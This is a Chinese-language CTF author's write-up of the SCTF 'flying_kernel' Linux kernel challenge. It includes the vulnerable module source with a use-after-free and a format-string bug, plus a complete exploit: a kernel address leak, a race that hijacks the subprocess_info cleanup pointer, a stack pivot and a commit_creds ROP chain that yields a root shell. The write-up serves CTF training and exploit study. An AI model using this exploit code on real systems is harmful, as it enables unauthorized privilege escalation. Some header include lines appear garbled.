SCTF flying_kernel 出题总结

 

前言

SCTF中一道linux kernel pwn的出题思路及利用方法,附赛后复盘

 

赛时情况

题目在早上九点第一波放出,在晚上6点由AAA战队取得一血,直到比赛结束一共有7支战队做出此题,作为一个kernel初学者很庆幸没被打烂orz(虽然被各种非预期打爆了,还是需要继续努力

 

出题思路

考点主要来源于CVE-2016-6187 的一篇利用文章,原文链接https://bbs.pediy.com/thread-217540.htm

简单概括就是使用以下语句

socket(22, AF_INET, 0);

会触发 struct subprocess_info 这个对象的分配,此结构为0x60大小,定义如下:

struct subprocess_info {
    struct work_struct work;
    struct completion *complete;
    const char *path;
    char **argv;
    char **envp;
    struct file *file;
    int wait;
    int retval;
    pid_t pid;
    int (*init)(struct subprocess_info *info, struct cred *new);
    void (*cleanup)(struct subprocess_info *info);
    void *data;
} __randomize_layout;

此对象在分配时最终会调用cleanup函数,如果我们能在分配过程中把cleanup指针劫持为我们的gadget,就能控制RIP,劫持的方法显而易见,即条件竞争

 

题目源码

先给出这次题目的模块源码

#include <linux/module.h>
#include <linuxersion.h>
#include <linux/kernel.h>
#include <linuxpes.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linuxev.h>
#include <asm/uaccess.h>
#include <linuxab.h>

static char *sctf_buf = NULL;
static struct class *devClass;
static struct cdev cdev;
static dev_t seven_dev_no;

static ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos);

static long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);

static int seven_open(struct inode *i, struct file *f);

static int seven_close(struct inode *i, struct file *f);



static struct file_operations seven_fops =
        {
                .owner = THIS_MODULE,
                .open = seven_open,
                .release = seven_close,
                .write = seven_write,
                .unlocked_ioctl = seven_ioctl
        };


static int __init seven_init(void)
{
    if (alloc_chrdev_region(&seven_dev_no, 0, 1, "seven") < 0)
    {
        return -1;
    }
    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(seven_dev_no, 1);
        return -1;
    }
    if (device_create(devClass, NULL, seven_dev_no, NULL, "seven") == NULL)
    {
        class_destroy(devClass);
        unregister_chrdev_region(seven_dev_no, 1);
        return -1;
    }
    cdev_init(&cdev, &seven_fops);
    if (cdev_add(&cdev, seven_dev_no, 1) == -1)
    {
        device_destroy(devClass, seven_dev_no);
        class_destroy(devClass);
        unregister_chrdev_region(seven_dev_no, 1);
        return -1;
    }
    return 0;
}


static void __exit seven_exit(void)
{
    unregister_chrdev_region(seven_dev_no, 1);
    cdev_del(&cdev);
}


ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos)
{
    if (sctf_buf)
    {
        if (len <= 0x80)
        {
            printk(KERN_INFO "write()\n" );
            u_int64_t offset = 0x80 - len;
            copy_from_user((u_int64_t)((char *)sctf_buf) + offset, buf, len);
        }
    }
    else
    {
        printk("What are you doing?");
    }

    return len;
}


// ioctl函数命令控制
long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long size)
{
    int retval = 0;
    switch (cmd) {

        case 0x5555://add
            if (size == 0x80)
            {
                sctf_buf = (char *)kmalloc(size,GFP_KERNEL);
                printk("Add Success!\n");
            }
            else
            {
                printk("It's not that simple\n");
            }
            break;

        case 0x6666:
            if (sctf_buf)
            {
                kfree(sctf_buf);
            }
            else
            {
                printk("What are you doing?");
                retval = -1;
            }
            break;

        case 0x7777:
            if (sctf_buf)
            {
                printk(sctf_buf);
            }
            break;

        default:
            retval = -1;
            break;
    }   

    return retval;
}


static int seven_open(struct inode *i, struct file *f)
{
    printk(KERN_INFO "open()\n");
    return 0;
}

static int seven_close(struct inode *i, struct file *f)
{
    printk(KERN_INFO "close()\n");
    return 0;
}

module_init(seven_init);
module_exit(seven_exit);

MODULE_LICENSE("GPL");

ioctl

在自定义的ioctl函数中,设置了参数2为command,有三种情况:

  • command = 0x5555时:调用kmalloc函数申请一个0x80的chunk
  • command = 0x6666时:free chunk但指针没清空
  • command = 0x7777时:调用printk输出,存在格式化字符串漏洞

一共两个漏洞点:0x80的UAF,和一个格式化字符串漏洞

write

写函数只能写最多0x80大小,但能指定写的大小,且重点是能从后往前写

init

内核的init如下:

#!/bin/sh

mkdir tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /flying.ko
chmod 666 /dev/seven
chmod 700 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /sys
umount /tmp

poweroff -d 0  -f

主要设置tmp目录用来上传文件

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

这里也限制泄露内核基址

qemu

qemu的启动脚本如下:

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel /home/ctf/bzImage \
    -initrd /home/ctf/rootfs.img \
    -monitor /dev/null \
    -append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=2 \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic

多核,且开了smep保护,关掉了smap保护,且内核默认有kpti和kaslr保护,所以相当于开启了kpti和kaslr

 

利用

因为漏洞点很明显,主要讲讲怎么利用漏洞。

首先是泄露的问题,由于存在一个格式化字符串漏洞,所以可以直接利用它来leak kernel_base

具体代码如下:

    write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
    show(fd);
    scanf("%llx",&magic1);

注意这里不能使用%p,否则内核会检测到信息泄漏,得不到正确的结果。

然后接下来就是0x80的UAF利用,由于开启了freelist随机化和Harden_freelist保护,理论上来说,因为题目条件的限制,想直接劫持next指针实现任意地址写几乎是不可能的,所以这里不是考察的点,但这里存在了非预期,后文复盘会提到。

注意到0x80的分配用的是 kmalloc-128,而 struct subprocess_info 此对象的分配也是使用的kmalloc-128,由于题目存在UAF,所以当此对象落在我们能控制的chunk上时,就可以通过条件竞争劫持cleanup的指针,主要流程为:一个线程不断的调用socket(22, AF_INET, 0) 另一个线程则循环往chunk写数据,覆盖cleanup指针为我们的gadget。

pthread_t th;
pthread_create(&th, NULL, race, (void*)buf);
while(1) {
        usleep(1);
        socket(22, AF_INET, 0);
//        getshell();
        if (race_flag) break;
 }
 void *race(void *arg) {
  unsigned long *info = (unsigned long*)arg;
  info[0] = (u_int64_t)xchg_eax_esp; // cleanup
  while(1) {
    write(fd, (void*)info,0x20);
    if (race_flag) break;
  }
 }

这里很重要的一点是我们的覆盖要确保只覆盖cleanup指针,也就是写0x20字节,从0x60往后写,如果覆盖多了数据,会在ROP返回到用户态后死在使用fs或者syscall的地方,原因似乎有多种,有些玄学,很多师傅都卡在这里,在此磕头了orz,但我在write函数定义了可以从后面开始写的行为其实也带有提示的意味,不然会有点多余。

我们劫持的gadget要实现的功能是控制栈落在可控区域,这样我们就可以通过栈迁移,从而在事先布置好的ROP链上执行,因为当控制RIP时,RAX的值为此时gadget的地址,所以我们通过以下gadget控制栈

xchg eax, esp; ret;

然后ROP链的功能就是提权+返回用户态

  u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
  printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);

  char* fake_stack = NULL;
      //先装载页面
  if((fake_stack = mmap(
      (char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐
      0x2000,                                 // length
      PROT_READ | PROT_WRITE,                 // prot
      MAP_PRIVATE | MAP_ANONYMOUS,            // flags
      -1,                                    // fd
      0) 
  ) == MAP_FAILED)
      perror("mmap");
  printf("[+]    fake_stack addr: %p\n", fake_stack);
  fake_stack[0]=0;
  u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
  int index = 0;
  hijacked_stack_ptr[index++] = pop_rdi;
  hijacked_stack_ptr[index++] = 0;
  hijacked_stack_ptr[index++] = prepare_kernel_cred;
  hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
  hijacked_stack_ptr[index++] = 0;
  hijacked_stack_ptr[index++] = 0;
  hijacked_stack_ptr[index++] = commit_creds;
  hijacked_stack_ptr[index++] = swapgs;
  hijacked_stack_ptr[index++] = iretq;
  hijacked_stack_ptr[index++] = (u_int64_t)getshell;
  hijacked_stack_ptr[index++] = user_cs;
  hijacked_stack_ptr[index++] = user_rflags;
  hijacked_stack_ptr[index++] = user_rsp;
  hijacked_stack_ptr[index++] = user_ss;

因为开启了kpti的缘故,所以我们实际上是通过在用户态注册 signal handler 来执行位于用户态的代码

signal(SIGSEGV, getshell);
void getshell()
{
    if(getuid() == 0)
    {
        race_flag = 1;
        puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");
        system("/bin/sh");
    }
    else
    {
        puts("[!] failed!");
    }
}

至此一个完整的提权过程完毕,以下是poc完整代码:

#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <signal.h>    

u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;
u_int64_t kernel_base;
u_int64_t raw_kernel;
u_int64_t pop_rdi;      // pop rdi; ret;
u_int64_t mov_cr4_rdi;  // mov cr4, rdi; pop rbp; ret;
u_int64_t prepare_kernel_cred;
u_int64_t commit_creds;
u_int64_t mov_rdi_rsi;            // mov qword ptr [rdi], rsi; ret;
u_int64_t pop_rsi ;     // pop rsi;ret
u_int64_t hook_prctl  ;
u_int64_t poweroff_work_func;
u_int64_t power_cmd ;
u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi
//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;
u_int64_t swapgs ;  // swagps;ret
u_int64_t iretq ;
u_int64_t test_rbx_jne_pop_pop_ret;
long long int magic1;

struct DATA
{
    char* buf;
};

void add(int fd)
{
    ioctl(fd, 0x5555, 0x80);
}

void delete(int fd)
{
    ioctl(fd, 0x6666, 0);
}

void show(int fd)
{
    ioctl(fd, 0x7777, 0);
}

u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void save_status()
{
    __asm__ (".intel_syntax noprefix\n");
    __asm__ volatile (
        "mov user_cs, cs;\
         mov user_ss, ss;\
         mov user_gs, gs;\
         mov user_ds, ds;\
         mov user_es, es;\
         mov user_rsp, rsp;\
         pushf;\
         pop user_rflags"
    );
    printf("[+] got user stat\n");
}

u_int64_t raw_kernel;
int race_flag = 0;

void getshell()
{
    if(getuid() == 0)
    {
        race_flag = 1;
        puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");
        system("/bin/sh");
    }
    else
    {
        puts("[!] failed!");
    }
}

static int fd = NULL;
u_int64_t xchg_eax_esp = NULL;
void *race(void *arg) {
  unsigned long *info = (unsigned long*)arg;
  info[0] = (u_int64_t)xchg_eax_esp; // cleanup
  // stack pivot
  u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
  printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);

  char* fake_stack = NULL;
      //先装载页面
  if((fake_stack = mmap(
      (char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐
      0x2000,                                 // length
      PROT_READ | PROT_WRITE,                 // prot
      MAP_PRIVATE | MAP_ANONYMOUS,            // flags
      -1,                                    // fd
      0) 
  ) == MAP_FAILED)
      perror("mmap");
  printf("[+]    fake_stack addr: %p\n", fake_stack);
  fake_stack[0]=0;
  u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
  int index = 0;
  hijacked_stack_ptr[index++] = pop_rdi;
  hijacked_stack_ptr[index++] = 0;
  hijacked_stack_ptr[index++] = prepare_kernel_cred;
  hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
  hijacked_stack_ptr[index++] = 0;
  hijacked_stack_ptr[index++] = 0;
  hijacked_stack_ptr[index++] = commit_creds;
  hijacked_stack_ptr[index++] = swapgs;
  hijacked_stack_ptr[index++] = iretq;
  hijacked_stack_ptr[index++] = (u_int64_t)getshell;
  hijacked_stack_ptr[index++] = user_cs;
  hijacked_stack_ptr[index++] = user_rflags;
  hijacked_stack_ptr[index++] = user_rsp;
  hijacked_stack_ptr[index++] = user_ss;
  while(1) {
    write(fd, (void*)info,0x20);
    if (race_flag) break;
  }
  return NULL;
}

int main()
{
    // 0xffffffff81011cb0:xchg eax,esp
    u_int64_t kernel_addr,onegadget,target;
    signal(SIGSEGV, getshell);
    unsigned long buf[0x200];
    memset(buf, 0, 0x1000);
    fd = open("/dev/seven", O_RDWR);
    printf("fd: %d\n", fd);
    if (fd < 0)
    {
        return -1;
    }
    add(fd);
    write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);
    show(fd);
    show(fd);
    scanf("%llx",&magic1);

    raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE;
    printf("[+] raw_kernel addr : 0x%16llx\n", raw_kernel);
    xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret;
    pop_rdi = 0xffffffff810016e9+ raw_kernel;      // pop rdi; ret;
    mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel;  // mov cr4, rdi; pop rbp; ret;
    prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel;
    commit_creds = 0xFFFFFFFF8108C360+ raw_kernel;
    mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel;            // mov qword ptr [rdi], rsi; ret;
    pop_rsi = 0xffffffff811cad0d + raw_kernel;     // pop rsi;ret
    hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel;
    poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel;
    power_cmd = 0xFFFFFFFF82663440 + raw_kernel;
    mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi
    swapgs = 0xffffffff81c00f58 + raw_kernel;  // swagps;ret
    iretq = 0xffffffff81024f92 + raw_kernel;
    test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel;
    printf("[+] xchg addr :b *0x%16llx\n", xchg_eax_esp);

    save_status();

    delete(fd);
    socket(22, AF_INET, 0);
    pthread_t th;
    pthread_create(&th, NULL, race, (void*)buf);
    while(1) {
        usleep(1);
        socket(22, AF_INET, 0);
//        getshell();
        if (race_flag) break;
    }
    return 0;
}

编译语句如下

gcc poc.c --static -masm=intel -lpthread -o poc

 

复盘

通过询问解题人和看赛后wp了解到几种解法。

预期中的非预期

  • 由于random值其实是固定的,泄露出来后劫持freelist打modprobe_path
  • 由于卡在返回用户态后死在fs或者syscall的地方,所以直接在内核中orw,或者写modprobe_path

第一点由于泄露random值这一点很麻烦,且远程和本地不同,在出题的时候想到过可以这样打,但由于预期解比这个简单,本意也不是想打这里,毕竟用户态已经有libc大师这种说法,不想再来个slub大师(,这样个人感觉就挺没意思了

纯非预期

wm战队的思路orz

 

docker环境

链接:https://pan.baidu.com/s/1FRg-emgeXC6-yFGEBwpGcQ
提取码:7777

供各位师傅复现

(完)